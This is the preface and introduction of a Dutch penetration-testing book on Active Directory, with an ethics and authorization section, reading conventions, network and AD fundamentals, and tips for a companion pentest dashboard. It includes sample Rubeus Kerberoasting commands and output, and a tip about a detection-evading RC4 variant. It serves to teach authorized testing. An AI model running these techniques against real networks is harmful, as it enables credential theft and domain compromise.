Voorwoord

Voorwoord

Er is een merkwaardig verschil tussen hoe mensen denken over beveiliging en hoe beveiliging werkelijk functioneert. Vraag een willekeurige directeur hoe het met de IT-beveiliging van zijn bedrijf staat, en hij zal je vol vertrouwen vertellen dat alles onder controle is. Er is een firewall. Er is antivirussoftware. Er is een wachtwoordbeleid – dat, als je even doorvraagt, erop neerkomt dat iedereen om de drie maanden een uitroepteken achter zijn bestaande wachtwoord plakt. Alles is geregeld.

Vraag vervolgens een penetratietester hoe het staat met de beveiliging van datzelfde bedrijf, en je krijgt een heel ander verhaal. Een verhaal over Domain Admins die bereikbaar zijn via een keten van drie klikken. Over service accounts met wachtwoorden die al zes jaar niet zijn gewijzigd. Over netwerksegmentatie die in de architectuurtekening prachtig eruitziet, maar in de praktijk net zo effectief is als een hordeur op een onderzeeboot.

Dit boek gaat over dat tweede verhaal.

Het is een verhaal dat zich keer op keer herhaalt, in elke organisatie, in elke sector, in elk land. De details verschillen – hier is het een vergeten admin-account, daar een misconfigureerde Group Policy, elders een ADCS-template die certificaten uitgeeft aan wie erom vraagt – maar het patroon is altijd hetzelfde. De verdediging is opgebouwd rond aannames die niet kloppen, en de aanvaller hoeft alleen maar die aannames te vinden.

Waarom dit boek

“Incompetent Bastards: Het Netwerk” is het tweede deel in een serie over penetratietesten. Waar het eerste boek – “De Webapplicatie” – zich richtte op de kwetsbaarheden in webapplicaties, gaat dit boek over het hart van de onderneming: het interne netwerk.

En dat hart, laten we eerlijk zijn, is bijna altijd een Active Directory-omgeving.

Active Directory is een van die technologieen die bijna elk bedrijf ter wereld gebruikt en bijna niemand werkelijk begrijpt. Het is het besturingssysteem van het bedrijfsnetwerk, het telefoonboek van de organisatie, en de sleutelbos van elke medewerker – allemaal tegelijk. Het werd ontworpen in een tijdperk waarin “beveiliging” betekende dat je de serverkast op slot deed, en het sleept die erfenis met zich mee als een middeleeuwse stad die nog steeds haar rioolsysteem uit de veertiende eeuw gebruikt.

Microsoft introduceerde Active Directory in 1999, samen met Windows 2000 Server. Het was een ambitieuze poging om het chaotische landschap van Windows NT-domeinen te vervangen door iets gestructureerds – iets met een hierarchie, met beleid, met vertrouwensrelaties die je kon tekenen op een whiteboard. En het werkte. Het werkte zo goed dat vijfentwintig jaar later nog steeds meer dan negentig procent van de Fortune 500-bedrijven het gebruikt. Het probleem is alleen dat de dreigingsmodellen van 1999 er fundamenteel anders uitzagen dan die van nu. In 1999 was de aanvaller iemand die fysiek toegang had tot het gebouw. In 2026 is de aanvaller iemand die vanuit zijn slaapkamer in een ander continent een phishing-mail stuurt en drie uur later Domain Admin is.

Dit boek leert je hoe je dat netwerk systematisch test. Niet om schade aan te richten, maar om de gaten te vinden voordat iemand anders dat doet. Want geloof me: iemand anders is altijd aan het zoeken.

Het boek volgt het pad dat een echte aanvaller zou nemen: van de eerste verkenning van het netwerk, via de eerste exploitatie, door het web van vertrouwensrelaties en misconfiguraties dat elk Active Directory-netwerk doorkruist, tot aan het moment dat je de kroonjuwelen in handen hebt – de ntds.dit, de Golden Ticket, de volledige controle. Elke stap wordt uitgelegd, gedemonstreerd, en voorzien van de verdedigingsmaatregelen die het hadden kunnen voorkomen.

Want dat is uiteindelijk het doel. Niet de aanval. De verdediging die eruit voortkomt.

De ethische grens

Laten we een ding glashelder maken, want dit is geen voetnoot en geen bijzaak.

Alles in dit boek is uitsluitend bedoeld voor gebruik in geautoriseerde penetratietesten. Dat wil zeggen: je hebt schriftelijke toestemming van de eigenaar van het netwerk. Je hebt een scope-document dat expliciet beschrijft welke systemen, netwerken en methoden binnen bereik vallen. Je hebt een noodprocedure voor als er iets misgaat. Je hebt telefoonnummers van mensen die op zondag om drie uur ’s nachts opnemen als je per ongeluk een productiedatabase hebt platgelegd.

Zonder die toestemming ben je geen penetratietester. Dan ben je een crimineel. En het verschil is niet het gereedschap dat je gebruikt – het is dat ene document met handtekeningen.

Dit is geen juridische formaliteit. In Nederland valt ongeautoriseerde toegang tot computersystemen onder artikel 138ab van het Wetboek van Strafrecht, met een maximale gevangenisstraf van vier jaar. In Belgie is dat artikel 550bis. De meeste andere landen hebben vergelijkbare wetgeving. “Ik wilde alleen kijken of het kwetsbaar was” is geen verdediging. “Ik deed het voor de wetenschap” ook niet.

De technieken in dit boek zijn krachtig. Een Golden Ticket geeft je onbeperkte toegang tot een heel Active Directory-domein. DCSync laat je alle wachtwoord-hashes van een organisatie downloaden. Kerberoasting kraakt service-account-wachtwoorden offline, zonder dat een IDS ook maar een wimper beweegt. Een ADCS ESC1-aanval geeft je een certificaat waarmee je je kunt voordoen als elke gebruiker in het domein. Dit zijn de technieken die echte aanvallers gebruiken, en het is precies daarom dat verdedigers ze moeten begrijpen.

Een goede penetratietest begint met een gesprek, niet met een exploit. Je spreekt de scope door, je definieert de regels van engagement, je stelt vast wat er gebeurt als je iets breekt, en je zorgt ervoor dat er aan beide kanten mensen zijn die weten wat er gaat gebeuren. Pas daarna open je een terminal.

Gebruik deze technieken verantwoord. Of gebruik ze niet.

Voor wie is dit boek

Dit boek is geschreven voor mensen die netwerken willen leren testen. Dat kan een junior penetratietester zijn die van webapplicaties naar netwerkpentesten wil doorgroeien. Het kan een systeembeheerder zijn die wil begrijpen hoe aanvallers denken, zodat hij zijn eigen netwerk beter kan verdedigen. Het kan een security consultant zijn die zijn arsenaal wil uitbreiden.

Wat we verwachten: een basiskennis van netwerken (je weet wat een IP-adres is, je weet wat TCP doet, je hebt weleens een terminal geopend). Enige ervaring met Linux. Een bereidheid om te leren door te doen, want dit is geen boek om passief door te lezen – het is een boek om naast je toetsenbord te leggen.

Wat we niet verwachten: dat je een expert bent. De nieuwsgierige stem in dit boek stelt de vragen die een beginner zou stellen. De cynische stem voegt de context toe die een ervaren penetratietester herkent. Waar je ook zit op dat spectrum, er is iets voor je.

Een kanttekening: dit boek is geen certificeringsgids. Het bereidt je niet voor op het OSCP, het CRTP, of een andere afkorting uit het alfabet-soep-universum van beveiligingscertificeringen. Wat het wel doet, is je de kennis en de context geven die je nodig hebt om die certificeringen te begrijpen, niet alleen te halen. Er is een verschil, en het verschil is belangrijk.

Twee perspectieven

Dit boek is geschreven vanuit twee perspectieven die elkaar afwisselen, soms binnen dezelfde alinea.

De eerste stem is die van de nieuwsgierige reiziger – de man die voor het eerst een Active Directory-forest betreedt en zich afvraagt waarom het zo heet, wie het heeft bedacht, en waarom trusts in twee richtingen werken terwijl eenrichtingsverkeer zoveel veiliger zou zijn. Deze stem verkent, legt uit, trekt vergelijkingen met de gewone wereld, en probeert van een onderwerp dat inherent droog is iets te maken dat je zou willen lezen op een regenachtige zondagmiddag. Deze stem stelt vragen als: “Wie heeft eigenlijk besloten dat NTLM-hashes onderling uitwisselbaar moesten zijn?”

De tweede stem is die van de cynicus – de stem die niet kan geloven dat we in het jaar 2026 nog steeds wachtwoorden als Welcome01! tegenkomen op domain admin accounts. Die stem wijst op de absurditeit van een beveiligingsindustrie die miljoenen uitgeeft aan next-generation AI-powered threat detection platforms, terwijl de Domain Admins groep achttien leden telt waarvan er veertien er nooit in hadden mogen zitten. Die stem is niet boos. Die stem is teleurgesteld. En soms – heel soms – geamuseerd.

Samen vormen ze, hopen we, een boek dat zowel informatief als leesbaar is. De nieuwsgierige stem verkent het waarom. De cynische stem beschrijft het hoe het echt is. En samen komen ze uit bij het wat je eraan kunt doen.

Leesconventies

Door het hele boek heen gebruiken we een aantal vaste conventies. Het is handig om ze nu te kennen, zodat je later niet terughoeft te bladeren.

Code en commando’s staan in code blocks met syntax highlighting waar relevant:

# Kerberoast -- service account wachtwoorden kraken
.\Rubeus.exe kerberoast /stats
.\Rubeus.exe kerberoast /user:svcadmin /simple

Commando’s die op de aanvalsmachine (Linux/Kali) worden uitgevoerd beginnen doorgaans met $ of staan in een bash-codeblock. Commando’s die op een Windows-doelsysteem worden uitgevoerd staan in een powershell- of cmd-codeblock. Het onderscheid is belangrijk – een commando op de verkeerde machine uitvoeren levert in het beste geval een foutmelding op en in het slechtste geval een onverklaarbare situatie.

IB Tips zijn praktische tips die verwijzen naar het Incompetent Bastard-dashboard en staan in blockquotes:

IB Tip: Gebruik de Command Library om snel Kerberoast-commando’s te laden. Zoek op kerb_kerberoast in het Commands-paneel. Het commando bevat meerdere methoden inclusief de RC4 opsec-variant die encryption downgrade-detectie vermijdt.

Waarschuwingen voor technieken met een hoog risico op detectie of verstoring staan eveneens in blockquotes, maar met een ander prefix:

Let op: DCSync genereert Directory Replication Service-verkeer dat door geavanceerde SIEM-regels kan worden gedetecteerd. Gebruik deze techniek alleen als de scope het toelaat en het risico op detectie acceptabel is.

Referentietabellen vatten aan het einde van elk hoofdstuk de behandelde technieken samen, inclusief MITRE ATT&CK-mappings en relevante IB-commando’s. Deze tabellen zijn bedoeld als snel naslagwerk – ze bevatten de essentie, niet de uitleg.

Placeholder-waarden in commando’s worden aangegeven met hoofdletters of vierkante haken: TARGET_IP, DOMAIN\user, [host]. In IB worden placeholders als [host] automatisch vervangen door het geconfigureerde IP-adres.

Technische termen worden in het Engels gehouden wanneer vertaling de betekenis vertroebelt. We schrijven “Domain Controller” en niet “domeincontroller”, “trust” en niet “vertrouwensrelatie”, “hash” en niet “samenvatting”. De Nederlandse taal is een prachtig instrument, maar sommige dingen klinken er gewoon belachelijk in. Een “vertrouwensrelatie tussen bossen” klinkt als een sprookje, niet als een Active Directory-concept.

Output en resultaten van commando’s worden weergegeven in genummerde of gemarkeerde blokken wanneer we willen laten zien wat je kunt verwachten:

[*] Enumerating Target Domain...
[*] Found 3 Kerberoastable users
[*] SPN: MSSQLSvc/sql01.lab.local:1433 | User: svc_sql
[*] SPN: HTTP/web01.lab.local | User: svc_iis
[*] SPN: CIFS/file01.lab.local | User: svc_backup

Verdedigingsmaatregelen worden aan het einde van relevante secties beschreven. We vertellen niet alleen hoe je aanvalt – we vertellen ook hoe je verdedigt. Omdat het hele punt van dit boek is om netwerken veiliger te maken, niet om ze te breken.

MITRE ATT&CK-referenties worden per techniek vermeld met hun technique ID (bijvoorbeeld T1558.003). In de referentietabellen aan het einde van elk hoofdstuk vind je een volledige mapping van alle behandelde technieken naar het ATT&CK-framework.

Nederlandse en Engelse termen: Waar een term voor het eerst wordt geintroduceerd, geven we zowel de Engelse term als een korte Nederlandse uitleg. Daarna gebruiken we consequent de Engelse term. Dit sluit aan bij hoe penetratiesters in de praktijk communiceren – in een mix van Nederlands en Engels die buitenstaanders doet fronsen, maar die in het vak volkomen normaal is.

Het zusterboek

“Incompetent Bastards: De Webapplicatie” behandelt de wereld van webapplicatiebeveiliging: SQL injection, Cross-Site Scripting, Server-Side Request Forgery, en alles wat daartussen zit. Dat boek richt zich op de applicatielaag – de plekken waar een browser praat met een server en waar invoer wordt vertrouwd die nooit vertrouwd had mogen worden.

Dit boek begint waar het zusterboek ophoudt. Soms kom je via een webapplicatie het netwerk binnen – een SQL injection die uitmondt in xp_cmdshell, een SSRF die cloud metadata lekt, een upload-functie die een webshell accepteert. Maar zodra je die eerste voet binnen de deur hebt, betreed je een compleet ander landschap. Een landschap van Kerberos-tickets, NTLM-hashes, Group Policy Objects, en service accounts die al sinds de Windows Server 2008-migratie ongewijzigd zijn.

Waar nodig verwijzen we naar “De Webapplicatie” voor web-specifieke technieken. De Command Library in IB weerspiegelt deze tweedeling: commando’s met het web_-prefix behandelen webapplicatietechnieken uit het eerste boek, terwijl commando’s met prefixes als ad_, kerb_, lateral_, en persist_ de netwerktechnieken uit dit boek bestrijken.

De twee boeken zijn complementair, maar onafhankelijk leesbaar.

Het gereedschap

Door het hele boek gebruiken we Incompetent Bastard (IB) – een Flask-gebaseerd security assessment dashboard dat speciaal is gebouwd voor penetratietesten. IB combineert een Command Library van 194 commando’s, vijf interactieve web labs, acht payload generators, een Task Runner voor geautomatiseerde taken, een Screen Terminal, en een compleet Findings Management-systeem met CVSS 4.0-scoring en rapportgeneratie.

IB is geen vervanging voor je gereedschapskist – het is de werkbank waarop je je gereedschap legt. Het geeft je snel toegang tot de commando’s die je nodig hebt, houdt je bevindingen bij terwijl je werkt, en genereert aan het einde een rapport dat je niet hoeft te schamen wanneer je het aan de opdrachtgever overhandigt.

De architectuur van IB is bewust eenvoudig gehouden. Het is een Flask-applicatie met SQLite als database, ontworpen om lokaal te draaien op je aanvalsmachine. Geen cloud, geen account, geen telemetrie. Alles blijft op jouw systeem, waar het hoort. De broncode is leesbaar en aanpasbaar – als je een commando mist, voeg je een bestand toe aan http/commands/ en het verschijnt automatisch in de bibliotheek. Als je een finding template nodig hebt, importeer je hem via JSON.

De componenten van IB in een notendop:

IB is gebouwd door pentesters, voor pentesters. Het is niet mooi. Het is functioneel. En in dit vak is functioneel alles wat telt.

In hoofdstuk 1 behandelen we de installatie en configuratie van IB. Daarna is het een constante metgezel.

Hoe dit boek te lezen

Je kunt dit boek op twee manieren lezen.

De eerste manier is lineair: begin bij hoofdstuk 1, volg het pad van reconnaissance tot rapportage, en doe de oefeningen in je lab terwijl je leest. Dit is de aanbevolen aanpak voor wie nieuw is in netwerkpentesting. Elk hoofdstuk bouwt voort op het vorige, en de technieken worden steeds geavanceerder naarmate je vordert.

De tweede manier is als naslagwerk: je zit midden in een engagement, je hebt toegang tot een systeem met een SPN-geregistreerd service account, en je wilt snel de Kerberoast-procedure opzoeken. Blader naar het relevante hoofdstuk, zoek de techniek, kopieer het commando. De referentietabellen aan het einde van elk hoofdstuk helpen je snel te navigeren.

Beide manieren zijn geldig. Beide zijn bedoeld. Gebruik wat werkt.

Een derde manier – en we raden die af, maar we weten dat het gebeurt – is dit boek als inspiratie te gebruiken om dingen uit te proberen zonder het hele verhaal te lezen. Als je dat doet, lees dan in ieder geval het voorwoord en de disclaimers. En zorg ervoor dat je een lab hebt. Altijd een lab. Nooit een productieomgeving. We zeggen het nog een keer: nooit een productieomgeving.

De structuur van het boek

Dit boek volgt ruwweg het pad van een netwerkpenetratietest, van de eerste scan tot het eindrapport. De hoofdstukken zijn zo geordend dat elk hoofdstuk voortbouwt op wat ervoor kwam, maar ze zijn ook afzonderlijk leesbaar als referentie.

We beginnen met de basis: netwerken, protocollen, Active Directory, het lab. Vervolgens lopen we door de fases van een pentest: reconnaissance, initial access, escalatie, laterale beweging, persistentie. We eindigen met rapportage – het deel dat niemand leuk vindt maar dat uiteindelijk het enige is wat de opdrachtgever ziet.

Elk hoofdstuk bevat: - Theorie en achtergrond (de verhalende stem) - Praktische technieken met commando’s (de technische kern) - Cynisch commentaar over de stand van zaken (het scherpe intermezzo) - IB Tips die verwijzen naar het dashboard - Verdedigingsmaatregelen - Een referentietabel

Dankwoord

Dank aan iedereen die aan de Incompetent Bastard-codebase heeft bijgedragen. Aan de pentesters die de commando’s in het veld hebben getest en teruggekomen zijn met opmerkingen als “dit werkt niet op Server 2019” en “je mist een backslash in regel 4”. Aan de mensen die de standaard-findings hebben geschreven en herschreven tot ze zowel technisch accuraat als begrijpelijk waren voor een niet-technische opdrachtgever. Aan degenen die de CVSS 4.0-calculator hebben geimplementeerd en vervolgens ontdekten dat CVSS 4.0 elf base metrics heeft in plaats van acht, en dat allemaal hebben herschreven zonder te klagen. Nou ja. Zonder veel te klagen.

Aan de open-source-community die gereedschappen als BloodHound, Rubeus, Mimikatz, Impacket, CrackMapExec en Certipy beschikbaar heeft gesteld. Zonder hen zou penetratietesten een stuk lastiger zijn, en een stuk minder interessant. Jullie werk maakt het verschil tussen een pentest die weken duurt en een pentest die inzichten oplevert.

Aan de makers van nmap, dat al meer dan vijfentwintig jaar het eerste gereedschap is dat elke penetratietester opstart. Aan de ontwikkelaars van Kali Linux en ParrotOS, die het mogelijk maken om met een enkele ISO een complete aanvalsomgeving op te zetten. Aan de auteurs van de MITRE ATT&CK-matrix, die ons een gemeenschappelijke taal hebben gegeven.

En aan iedereen die ooit een netwerk heeft geconfigureerd met de gedachte “dit fixen we later wel” – jullie houden ons in werk. Elke keer dat een systeembeheerder zegt “we hebben het altijd al zo gedaan”, voegt een penetratietester ergens een finding toe aan zijn rapport.

En als laatste: aan de lezers van het eerste boek die ons hebben geschreven met vragen, correcties en suggesties. Jullie feedback heeft dit tweede boek beter gemaakt dan het zonder jullie zou zijn geweest.

Speciaal dank aan de klanten die ons toestonden om (geanonimiseerde) voorbeelden uit echte engagements te gebruiken als illustratie. De namen zijn veranderd, de IP-adressen zijn fictief, maar de patronen zijn echt. Het zijn patronen die we keer op keer tegenkomen, in organisaties van elke omvang en in elke sector.

Dit boek is opgedragen aan iedereen die beveiliging serieus neemt – niet door er geld aan uit te geven, maar door er tijd in te steken. Door te begrijpen hoe hun netwerk werkt. Door te luisteren naar de mensen die het testen. Door de bevindingen niet in een la te leggen maar daadwerkelijk te implementeren.

Jullie zijn zeldzaam. Maar jullie bestaan. En voor jullie schrijven we.

Veel plezier. En vergeet niet: altijd met toestemming.

– Jan-Karel Visser, Kropswolde, 2026

Inleiding

Inleiding

Van ARPANET tot Active Directory: een beknopte geschiedenis van het computernetwerk

Op 29 oktober 1969 verstuurde een student aan UCLA het eerste bericht over ARPANET. Het bericht was “LOGIN”. Het systeem crashte na de letters “LO”. Het was, achteraf bezien, een passende start voor een technologie die de komende vijftig jaar zou worden geplaagd door onverwachte uitval en onbegrepen foutmeldingen.

Wat begon als een experiment van het Amerikaanse ministerie van Defensie – een netwerk dat een nucleaire aanval zou overleven, al is dat verhaal grotendeels mythe – groeide uit tot iets dat geen van de oorspronkelijke ontwerpers had voorzien. Het internet, en in het verlengde daarvan het moderne bedrijfsnetwerk, werd gebouwd op vertrouwen. De protocollen die het fundament vormen – TCP/IP, DNS, ARP – zijn ontworpen in een tijd waarin iedereen op het netwerk een onderzoeker was aan een universiteit, en “beveiliging” een concept was dat hoorde bij sloten en sleutels, niet bij pakketten en poorten.

Dat vertrouwen is nooit werkelijk weggehaald. Het is ingepakt, verhuld, omgeven door lagen van firewalls en encryptie, maar het zit er nog steeds. Als je diep genoeg graaft in elk bedrijfsnetwerk, vind je protocollen die aannemen dat wie een pakket verstuurt ook degene is die hij zegt te zijn. En het is precies in die aanname dat penetratiesters hun werk beginnen.

In de jaren tachtig kwamen de eerste bedrijfsnetwerken. Novell NetWare, Banyan VINES, en later Windows NT – systemen die kantoren verbonden en het mogelijk maakten om bestanden te delen, printers te gebruiken, en e-mail te versturen. Het waren gesloten systemen, afgesloten van de buitenwereld, en beveiliging was een kwestie van fysieke toegang. Als je in het gebouw kon komen, kon je bij het netwerk. Zo simpel was het.

Toen kwam het internet. En plotseling moesten die gesloten netwerken verbonden worden met een systeem dat van nature open was. De oplossing was de firewall – een apparaat dat als een poortwachter fungeerde tussen het interne netwerk en het internet. Het was een elegante oplossing voor een probleem dat snel veel ingewikkelder zou worden dan iemand op dat moment voorzag.

Want het probleem met een poortwachter is dat hij alleen werkt als de vijand buiten staat. Zodra iemand eenmaal binnen is – via een gecompromitteerd account, een phishing-link, een kwetsbare webapplicatie, of simpelweg een USB-stick op de parkeerplaats – is de poortwachter irrelevant. En het interne netwerk, dat nooit was ontworpen om vijandig verkeer te weerstaan, ligt open als een boek.

Dat is de wereld waarin we ons nu bevinden. En dat is de wereld die dit boek verkent.

De middeleeuwse stad

Het helpt om een bedrijfsnetwerk te zien als een middeleeuwse stad. Het is een vergelijking die niet perfect is – geen enkele vergelijking is dat – maar ze maakt veel dingen duidelijk die anders abstract blijven.

De buitenmuur is de firewall. Ze scheidt de stad van de buitenwereld en bepaalt wie er binnenkomt en wie niet. In de middeleeuwen waren er poorten met bewakers; in een netwerk zijn er regels die verkeer toelaten op basis van poort, protocol en bron-IP. En net als bij een middeleeuwse stad geldt: als je eenmaal binnen de muur bent, wordt het aanzienlijk eenvoudiger.

De wijken zijn de netwerksegmenten – VLANs, subnets, zones. De ambachtslieden zitten bij elkaar, de kooplieden hebben hun eigen straat, en het garnizoen heeft zijn eigen terrein. In theorie. In de praktijk hebben de meeste bedrijfsnetwerken een segmentatie die lijkt op een stad waar alle muren tussen de wijken zijn afgebroken omdat het makkelijker was om er doorheen te lopen.

De marktplaats is het kantoornetwerk – de plek waar iedereen samenkomt, waar informatie wordt uitgewisseld, en waar je als buitenstaander het meest kunt oppikken door simpelweg rond te lopen en te luisteren. In netwerkterminologie: de plek waar broadcast traffic vrij rondvliegt.

En in het midden van de stad staat het kasteel: de Domain Controller. De plek waar de kroon wordt bewaard, waar de bevolkingsregisters liggen, en waar de sleutels van elke deur in de stad hangen. Wie het kasteel bezit, bezit de stad. In Active Directory-termen: wie Domain Admin is, is God.

De gracht rond het kasteel? Dat is tiering – als het is geimplementeerd. Spoiler: dat is het bijna nooit.

De herbergen zijn de jump hosts – de plekken waar reizigers (beheerders) overnachten op weg naar het kasteel. In een goed beveiligd netwerk ga je niet rechtstreeks naar de Domain Controller. Je gaat via een jump host, een Privileged Access Workstation, een gecontroleerd toegangspunt. In de praktijk? In de praktijk RDP’t de systeembeheerder rechtstreeks vanaf zijn werkstation naar de DC, met zijn Domain Admin-account, terwijl hij een tabblad open heeft staan met zijn persoonlijke e-mail. De middeleeuwen hadden daar een woord voor: dwaasheid.

En de spionnen? Dat zijn de penetratiesters. Ze komen binnen via een poort die niet goed bewaakt wordt, verkennen de wijken, maken praatjes op de marktplaats, en werken zich langzaam een weg naar het kasteel. Het verschil met echte spionnen is dat wij een rapport achterlaten met aanbevelingen om de verdediging te verbeteren. Echte spionnen laten geen rapport achter.

Anatomie van een netwerk

Voordat je een netwerk kunt testen, moet je begrijpen hoe het in elkaar zit. Niet op het niveau van een netwerkarchitect die RFC’s citeert in zijn slaap, maar op het niveau dat je nodig hebt om te weten wat er gebeurt wanneer je een pakket verstuurt, een naam opzoekt, of een Kerberos-ticket aanvraagt.

Het OSI-model, of: zeven lagen van abstractie

Het Open Systems Interconnection-model is een van die dingen die elke IT-professional kent, weinigen werkelijk begrijpen, en nog minder dagelijks gebruiken. Het verdeelt netwerkcommunicatie in zeven lagen, van de fysieke kabels onderaan tot de applicatie bovenaan.

Laag Naam Wat het doet Voorbeeld
7 Application Wat de gebruiker ziet HTTP, DNS, SMB
6 Presentation Dataformattering en encryptie TLS, SSL, JPEG
5 Session Sessies opzetten en beheren NetBIOS, RPC
4 Transport Betrouwbare end-to-end communicatie TCP, UDP
3 Network Routering tussen netwerken IP, ICMP, ARP
2 Data Link Communicatie binnen een netwerksegment Ethernet, Wi-Fi
1 Physical De daadwerkelijke kabel of het radiosignaal Cat6, glasvezel

In de praktijk werken de meeste penetratiesters op laag 3 tot en met 7. Maar vergis je niet: soms begint een aanval op laag 2 – een ARP spoofing-aanval die je in een positie brengt om al het verkeer op een netwerksegment mee te lezen – en soms eindigt een aanval op laag 1, wanneer je fysiek een Raspberry Pi achter een printer prikt die niemand ooit controleert.

Het OSI-model is nuttig als mentaal raamwerk, niet als rigide classificatie. De meeste protocollen houden zich niet netjes aan een enkele laag. DNS zit op laag 7 maar gebruikt UDP op laag 4. SMB zit op laag 7 maar gebruikt NetBIOS-sessies op laag 5. Het leven is rommelig. Netwerken zijn rommelig. Het OSI-model probeert die rommel te ordenen, en slaagt daar gedeeltelijk in.

TCP/IP: de taal van het netwerk

Waar het OSI-model een theoretisch raamwerk is, is TCP/IP het protocol dat daadwerkelijk wordt gebruikt. Het bestaat uit vier lagen die ruwweg op het OSI-model mappen, maar pragmatischer zijn.

IP (Internet Protocol) zorgt voor adressering en routering. Elk apparaat op het netwerk krijgt een IP-adres – in de meeste bedrijfsnetwerken een IPv4-adres uit een privaat bereik zoals 10.0.0.0/8 of 172.16.0.0/12 of 192.168.0.0/16. IP is connectionless en unreliable – het stuurt pakketten de wereld in en hoopt dat ze aankomen. Dat klinkt onverantwoord, en dat is het ook. Het is ook enorm efficient.

TCP (Transmission Control Protocol) voegt betrouwbaarheid toe. Het bouwt een verbinding op via een three-way handshake (SYN, SYN-ACK, ACK), houdt bij of pakketten aankomen, en verstuurt ze opnieuw als dat niet het geval is. Bijna alle diensten die je tijdens een pentest tegenkomt – HTTP, SMB, RDP, SSH – gebruiken TCP.

UDP (User Datagram Protocol) is TCP’s zorgeloze neef. Geen verbinding, geen garantie, geen genade. Maar wel snel. DNS gebruikt UDP voor standaard queries. Kerberos gebruikt UDP voor kleinere berichten. En menig tunneling-techniek maakt gebruik van UDP omdat het minder opvalt in firewall-logs.

DNS (Domain Name System) verdient speciale aandacht, want het is een van de meest onderschatte aanvalsoppervlakken in elk netwerk. DNS vertaalt namen naar IP-adressen – dc01.contoso.local wordt 10.0.0.10 – en in een Active Directory-omgeving is DNS onlosmakelijk verbonden met AD zelf. De Domain Controller is bijna altijd ook de DNS-server. Dat betekent dat DNS-verkeer je enorm veel kan vertellen over de structuur van het netwerk, en dat DNS-misconfiguratiesje soms toegang geven tot informatie die niet voor je bedoeld was.

IB Tip: Het commando recon_dns in de Command Library bevat DNS-enumeratietechnieken inclusief zone transfers, subdomain brute forcing, en reverse lookups. Laad het via het Commands-paneel op het dashboard.

DHCP (Dynamic Host Configuration Protocol) deelt automatisch IP-adressen uit aan apparaten die verbinding maken met het netwerk. Voor een penetratietester is DHCP interessant omdat het je vertelt welk netwerksegment je zit, wat de gateway is, en – cruciaal – wat de DNS-server is. In een AD-omgeving wijst dat bijna altijd naar de Domain Controller.

SMB (Server Message Block) is het protocol voor bestandsdeling in Windows-netwerken. Het draait standaard op poort 445 en is een van de eerste dingen waar een penetratietester naar zoekt. SMB-shares bevatten regelmatig gevoelige bestanden – wachtwoorden in scripts, configuratiebestanden, backup-bestanden van databases. De IB Command Library bevat enumeratiecommando’s voor shares onder enum_shares_files.

RDP (Remote Desktop Protocol) op poort 3389 is de manier waarop beheerders op afstand inloggen op Windows-systemen. Het is ook een populair doelwit voor brute force-aanvallen en credential stuffing. In een netwerk waar RDP open staat op werkstations, heb je als aanvaller een breed aanvalsoppervlak.

LDAP (Lightweight Directory Access Protocol) is het protocol waarmee je Active Directory bevraagt. Poort 389 voor onversleuteld, 636 voor LDAPS. LDAP-queries zijn een van de krachtigste enumeratietechnieken in een AD-omgeving – ze vertellen je alles over gebruikers, groepen, computers, GPOs, trusts en meer.

IB Tip: Het commando ad_enum_ldap_raw in de Command Library bevat LDAP-query technieken voor directe Active Directory-enumeratie zonder afhankelijkheid van Windows-specifieke tools.

Active Directory: het koninkrijk

En dan komen we bij het onderwerp dat dit boek domineert: Active Directory.

Active Directory (AD) is Microsofts directory service, geintroduceerd met Windows 2000 en sindsdien het kloppend hart van bijna elk bedrijfsnetwerk ter wereld. Het is een gecentraliseerde database van gebruikers, computers, groepen, beleid, en permissies. Als je wilt weten wie welke rechten heeft op welke systemen, vraag je het aan Active Directory.

De basisconcepten:

Forest – De hoogste container in AD. Een forest bevat een of meer domains en deelt een gemeenschappelijk schema, configuratie, en Global Catalog. De meeste organisaties hebben een enkel forest. Grote organisaties met overnames hebben er soms meerdere, met trusts ertussen.

Domain – Een logische groepering van objecten (gebruikers, computers, groepen) met een gemeenschappelijk beveiligingsbeleid. Denk aan een koninkrijk binnen het rijk. contoso.local is een domain. eu.contoso.local is een child domain.

Domain Controller (DC) – De server die het kasteel is. De DC beheert authenticatie, autorisatie en replicatie. Het bezit de AD-database (ntds.dit), de kroonjuwelen van het netwerk. Een organisatie heeft doorgaans minstens twee DCs voor redundantie, maar de eerste die je compromitteert is genoeg.

Organizational Units (OUs) – Containers binnen een domain die objecten groeperen voor beheer. Denk aan afdelingen: “IT”, “HR”, “Finance”. OUs zijn de plekken waarop Group Policy Objects (GPOs) worden toegepast.

Group Policy Objects (GPOs) – Beleid dat wordt afgedwongen op gebruikers en computers. GPOs bepalen alles, van wachtwoordvereisten tot welke software wordt geinstalleerd tot of een gebruiker PowerShell mag draaien. Voor een penetratietester zijn GPOs goud, want ze bevatten vaak configuratiefouten die je kunt misbruiken.

Trusts – Relaties tussen domains die authenticatie over domeingrenzen heen mogelijk maken. Een trust kan one-way of two-way zijn, transitive of non-transitive. Trusts zijn een van de meest verkeerd begrepen concepten in AD, en een van de meest misbruikte door aanvallers.

IB Tip: De Command Library bevat een complete set AD-enumeratiecommando’s. Zoek op ad_ voor commando’s zoals ad_enum_ldap_raw, ad_trust_child_to_parent, en ad_trust_cross_forest.

Kerberos – Het authenticatieprotocol dat AD gebruikt. We besteden er in hoofdstuk 5 een volledig hoofdstuk aan, want het is zowel ingenieus als spectaculair misbruikbaar. Kort samengevat: Kerberos werkt met tickets in plaats van wachtwoorden. Je vraagt een Ticket Granting Ticket (TGT) aan bij de Key Distribution Center (KDC, die op de DC draait), en gebruikt dat TGT vervolgens om Service Tickets aan te vragen voor specifieke diensten. Het is elegant. Het is ook lek als een mandje.

NTLM – Het oudere authenticatieprotocol dat weigert te sterven. NTLM-hashes zijn het equivalent van wachtwoorden – als je iemands hash hebt, kun je je authenticeren alsof je die persoon bent (Pass-the-Hash). NTLM zou allang met pensioen moeten zijn. Het is er nog steeds. Microsoft heeft het herhaaldelijk afgekeurd, ontraden, en gedepreceerd, maar het is als die ene collega die al drie keer met pensioen is gegaan en nog steeds elke maandag op kantoor verschijnt: je raakt het niet kwijt.

Active Directory Certificate Services (ADCS) – De interne Certificate Authority die veel organisaties draaien voor het uitgeven van certificaten. ADCS is relatief recent ontdekt als een enorm aanvalsoppervlak. De ESC-kwetsbaarheden (ESC1 tot en met ESC8+) maken het mogelijk om certificaten aan te vragen waarmee je je kunt voordoen als elke gebruiker in het domein, inclusief Domain Admins. We behandelen ADCS uitgebreid in hoofdstuk 7.

IB Tip: De Command Library bevat commando’s voor ADCS-aanvallen onder het adcs_-prefix: adcs_enum voor enumeratie, en adcs_esc1, adcs_esc3, adcs_esc6 voor specifieke escalatie-paden.

